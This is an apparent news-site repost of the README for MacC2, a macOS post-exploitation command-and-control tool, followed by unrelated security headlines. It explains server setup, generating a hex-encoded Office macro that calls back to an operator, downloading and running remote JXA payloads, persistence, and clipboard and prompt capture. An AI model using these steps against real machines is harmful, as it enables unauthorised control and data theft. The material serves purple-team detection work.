Cookie Consent by Free Privacy Policy Generator ๐Ÿ“Œ MacC2 - Mac Command And Control That Uses Internal API Calls Instead Of Command Line Utilities

๐Ÿ  Team IT Security News

TSecurity.de ist eine Online-Plattform, die sich auf die Bereitstellung von Informationen,alle 15 Minuten neuste Nachrichten, Bildungsressourcen und Dienstleistungen rund um das Thema IT-Sicherheit spezialisiert hat.
Ob es sich um aktuelle Nachrichten, Fachartikel, Blogbeitrรคge, Webinare, Tutorials, oder Tipps & Tricks handelt, TSecurity.de bietet seinen Nutzern einen umfassenden รœberblick รผber die wichtigsten Aspekte der IT-Sicherheit in einer sich stรคndig verรคndernden digitalen Welt.

16.12.2023 - TIP: Wer den Cookie Consent Banner akzeptiert, kann z.B. von Englisch nach Deutsch รผbersetzen, erst Englisch auswรคhlen dann wieder Deutsch!

Google Android Playstore Download Button fรผr Team IT Security



๐Ÿ“š MacC2 - Mac Command And Control That Uses Internal API Calls Instead Of Command Line Utilities


๐Ÿ’ก Newskategorie: IT Security Nachrichten
๐Ÿ”— Quelle: feedproxy.google.com


MacC2 is a macOS post exploitation tool written in python that uses Objective C calls or python libraries as opposed to command line executions. The client is written in python2, which though deprecated is still being shipped with base Big Sur installs. It is possible down the road that Apple will remove python2 (or python altogether) from base macOS installs but as of Nov 2020 this is not the case. I wrote this tool to aid purple team exercises aimed at building detections for python-based post exploitation frameworks on macOS. Apple plans to eventu ally remove scripting runtimes from base macOS installs, but it appears that python is still included by default on base installs of Big Sur.


You can set up the server locally or you can use the docker setup I have included in this repo. Instructions below:


Instructions for Running Using Docker:

If you do not already have docker set up:

  1. chmod +x install_docker_linux.sh
  2. sudo ./install_docker_linux.sh

Next:

  1. chmod +x setup.sh
  2. sudo ./setup.sh (this will create an untrusted ssl cert and key, generate a macro file for the server and port you specify (will drop the macro in macro.txt locally), build macc2-docker, and run the MacC2 server inside of macc2-container in interactive mode)
  3. when prompted, enter the IP/hostname of the MacC2 server

  4. when prompted, enter the port that the MacC2 server will listen on

  5. A hex encoded macro payload will be dropped locally in a file named macro.txt that is configured to connect to your MacC2 server on the hostname/IP and port you specified.

  6. Docker will install the aiohttp python3 dependency, build macc2-docker, and will run the MacC2 Server in a container named macc2-container. Once finished the MacC2 server will listen on the specified port:

  7. You can run docker ps and validate that the MacC2 server is running (you will see a container named macc2-container listed there)

Note: Since I am using a static container name (macc2-container), if you run this setup more than once on the same server, you will need to delete the macc2-container name after each use or else you will get an error "The container name "/macc2-container" is already in use by container". You can run the command below to delete the macc2-container after each run:

docker rm macc2-container

You can then either copy the MacC2_client.py file over to the client and execute for a callback or you can import the macro.txt macro into an Office document and "Enable Macros" when opening for a callback on the client.


Running Locally (Without Using Docker)

If you opt to not use docker, you can set up the server locally using the steps below:

Since the MacC2 server uses the aiohttp library for communications, you will need to install aiohttp first:

pip install aiohttp (if you encounter an error ensure that pip is pointing to python3, since aiohttp is a python3 library):

python3 -m pip install --upgrade --force pip

On C2 Server:

  1. Set up ssl (note: use a key size of at least 2048)

If you do not have your own cert, you can use the following to generate a self signed cert:

  • 1: openssl req -new -newkey rsa:2048 -nodes -out ca.csr -keyout ca.key
  • 2: openssl x509 -trustout -signkey ca.key -days 365 -req -in ca.csr -out ca.pem

note: the server script is hard-coded to use ca.pem and ca.key, so keep these names the same for now, or change the code appropriately

  1. Use macro_generator.py to create the MacC2 scripts with the server's IP/domain and port. macro_generator.py also builds a macro (macro.txt) that uses hex encoding to run MacC2. You can copy and paste the contents of macro.text into an MS Office document:

Usage:

python3 macro_generatory.py -s [C2 Server IP/domain] -p [C2 Server Port]

-Example:


  1. Start the generated MacC2_server.py script to listen for a connection:


On Client Side (the target mac host):

  1. If you desire to not be limited by the mac sandbox and want more functionality, you may opt to copy the MacC2_client.py script to the client (assuming you have access).
  2. On the client, run the MacC2_client.py script: python MacC2_client.py


  1. On the server, you will see an inbound connection. Example below:


Using MacC2

After you receive a connection, you can use the "help" command on the server to get a list of built-in commands available. You can enter one of these commands. After entering a command and pressing Enter, the command is queued up (allows you to enter multiple commands to be executed by the client). Once you type "done" and hit Enter, all of the queued commands will be sent to the client for execution.


ย 

Each command is pretty straightforward. The command options that are not OPSEC safe (i.e., command line executions or cause pop ups) are also flagged in red from the help menu.

Functions of Note:

  • You can generate a Mythic C2 JXA .js payload, download it, and host it on a remote server. Then you can provide the url to the hosted file to MacC2 using the runjxa command to have MacC2 download and execute the Mythic .JXA payload:

>>> runjxa <url_to_JXA_.js_payload>

Note: If you gain access using the MS Office macro, then the persistence method will not work due to sandboxing. The files will still be dropped and the login item will still be inserted but upon reboot the quarantine attribute prevents the persistence from executing


Additional Info

The MacC2 server uses aiohttp to easily allow for asynchronous web comms. To ensure that only MacC2 agents can access the server, the server includes the following:

  • A specific user agent string check (if a request fails this check it receives a 404 Not Found)
  • A specific token (if a request failes this check it receives a 404 Not Found)

The operator flow after setting everything up and getting a callback is:

  • view help menu for command options
  • enter command name and press enter for each command you want to run
  • enter "done" and press enter to have the queued commands sent to the client for execution
  • NOTE: The default sleep is 10 seconds. The operator can change that by using the sleep [numberofseconds] command.
  • NOTE: The MacC2 server currently does not have a way to conveniently switch between sessions when multiple clients connect. Instead the server auto switches between sessions after each command executed. So the operator will need to pay attention to the IP in the connection to know which session is being interacted with.

Macro Limitations

MacC2 does NOT include any sandbox escapes and therefore all functions do not work when access is gained via the Office macro. Functions that DO work from the sandbox include:

  • runjxa
  • systeminfo
  • persist: MacC2 can drop files to disk from a sandboxed macro payload. However, upon reboot the persistence will not execute due to the quarantine attribue on the dropped files.
  • addresses
  • prompt
  • clipboard
  • shell (not OPSEC safe)
  • spawn (not OPSEC safe)
  • cd and listdir (sandbox prevents access for most directories but you can see the root '/' directory and potentially others as well)

DISCLAIMER

This is for academic purposes and should not be used maliciously or without the appropriate authorizations and approvals.



...



๐Ÿ“Œ TIBCO FTP Community Edition up to 6.5.0 on Windows Server/C API/Golang API/Java API/.Net API access control


๐Ÿ“ˆ 30.46 Punkte

๐Ÿ“Œ Asciiville 1.3.1r2 - ASCII Art, animations, and command line Utilities for Linux


๐Ÿ“ˆ 28.73 Punkte

๐Ÿ“Œ What are your favorite command line apps / utilities and hidden Gems?


๐Ÿ“ˆ 28.73 Punkte

๐Ÿ“Œ Asciiville 1.4.0r1 - ASCII Art, animations, and command line Utilities for Linux


๐Ÿ“ˆ 28.73 Punkte

๐Ÿ“Œ IBM Domino 9.0/9.0.1 Command Line nsd.exe Command Line Argument privilege escalation


๐Ÿ“ˆ 26.89 Punkte

๐Ÿ“Œ Cisco IOS XR Command Line line os command injection


๐Ÿ“ˆ 26.89 Punkte

๐Ÿ“Œ Using external webcam and mic instead of MacBook for video calls [Setups]


๐Ÿ“ˆ 24.49 Punkte

๐Ÿ“Œ Kitty Control command line front-end for Kitty terminal Remote Control


๐Ÿ“ˆ 24.38 Punkte

๐Ÿ“Œ CVE-2023-28645 | Nextcloud Richdocuments up to 6.3.1/7.0.1 Internal API Endpoint access control (GHSA-95j6-p5cj-5hh5)


๐Ÿ“ˆ 23.4 Punkte

๐Ÿ“Œ Internal Linking yang Baik: Cara Meningkatkan SEO On-Page dengan Strategi Internal Linking yang Tepat


๐Ÿ“ˆ 23.37 Punkte

๐Ÿ“Œ libVES: End-to-End encryption API and command line utility for Linux and Windows. Encrypt Everything without fear of losing the Key


๐Ÿ“ˆ 23.26 Punkte

๐Ÿ“Œ libVES: End-to-End encryption API and command line utility for Linux and Windows. Encrypt Everything without fear of losing the Key


๐Ÿ“ˆ 23.26 Punkte

๐Ÿ“Œ Nation-state actor uses new LookBack RAT to target US utilities


๐Ÿ“ˆ 22.94 Punkte

๐Ÿ“Œ New โ€œPrestigeโ€ Ransomware Uses Remote Execution Utilities to Launch Destructive Attacks


๐Ÿ“ˆ 22.94 Punkte

๐Ÿ“Œ ICE Uses Facebook Data To Find and Track Immigrants, Internal Emails Show


๐Ÿ“ˆ 22.9 Punkte

๐Ÿ“Œ ICE Uses Facebook Data To Find and Track Immigrants, Internal Emails Show


๐Ÿ“ˆ 22.9 Punkte

๐Ÿ“Œ DOJ hires first chief AI officer to examine internal and external uses


๐Ÿ“ˆ 22.9 Punkte

๐Ÿ“Œ IBM calls for regulation on facial recognition instead of bans


๐Ÿ“ˆ 22.7 Punkte

๐Ÿ“Œ Many Google Duplex Calls Are From Real People Instead of AI


๐Ÿ“ˆ 22.7 Punkte

๐Ÿ“Œ Weekly Command: comparing files line by line with diff


๐Ÿ“ˆ 22.63 Punkte

๐Ÿ“Œ One line shell script to watch youtube videos from the command line


๐Ÿ“ˆ 22.63 Punkte

๐Ÿ“Œ Comodo Antivirus Forwards Emulated API Calls To Real API


๐Ÿ“ˆ 22.37 Punkte

๐Ÿ“Œ [remote] - Comodo Antivirus Forwards Emulated API Calls to the Real API During Scans


๐Ÿ“ˆ 22.37 Punkte

๐Ÿ“Œ Comodo Antivirus Forwards Emulated API Calls To Real API


๐Ÿ“ˆ 22.37 Punkte

๐Ÿ“Œ [remote] - Comodo Antivirus Forwards Emulated API Calls to the Real API During Scans


๐Ÿ“ˆ 22.37 Punkte

๐Ÿ“Œ More API Calls, More Problems: The State of API Security in 2024 - Lebin Cheng - ASW #276


๐Ÿ“ˆ 22.37 Punkte











matomo